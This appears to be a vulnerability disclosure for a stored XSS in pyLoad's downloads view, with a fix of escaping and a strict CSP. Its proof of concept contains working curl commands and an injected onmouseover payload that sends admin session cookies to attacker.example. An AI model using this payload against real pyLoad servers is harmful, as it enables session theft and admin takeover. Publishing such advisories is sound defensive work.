pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal

Proof of Concept

Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.

TARGET="http://<pyload-host>:<port>"

# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')

# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'

The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.

When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:

<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>

The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.

Impact

Any user who can reach /api/add_package (which covers the Perms.ADD role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting /collector or /queue, the two pages operators use constantly.

The CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls POST /flash/add with the same injected URL and reaches the same sink without logging in.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (High, 8.3). CWE-79.

Recommended Fix

Two changes.

First, escape every ${link.*} interpolation in the template. jQuery's .text() escapes by default; structure the render so attacker-controlled strings never reach .html():

const a = $("<a/>").attr("href", link.url).text(link.name);
const status = $("<span/>").text(link.statusmsg);
// ... build the DOM with .text() / .attr() calls ...
$(div).append(a).append(status);

If keeping the template-literal style, at minimum wrap every ${link.*} in a helper that HTML-escapes:

const esc = (s) => String(s).replace(/&/g, "&amp;").replace(/</g, "&lt;")
    .replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#39;");

Second, deploy a strict CSP. default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self' kills the inline-handler class entirely, and pyload's own assets already load from 'self'.

Audit the sibling templates (queue.js, dashboard.js, all admin themes) for the same pattern.

Found by aisafe.io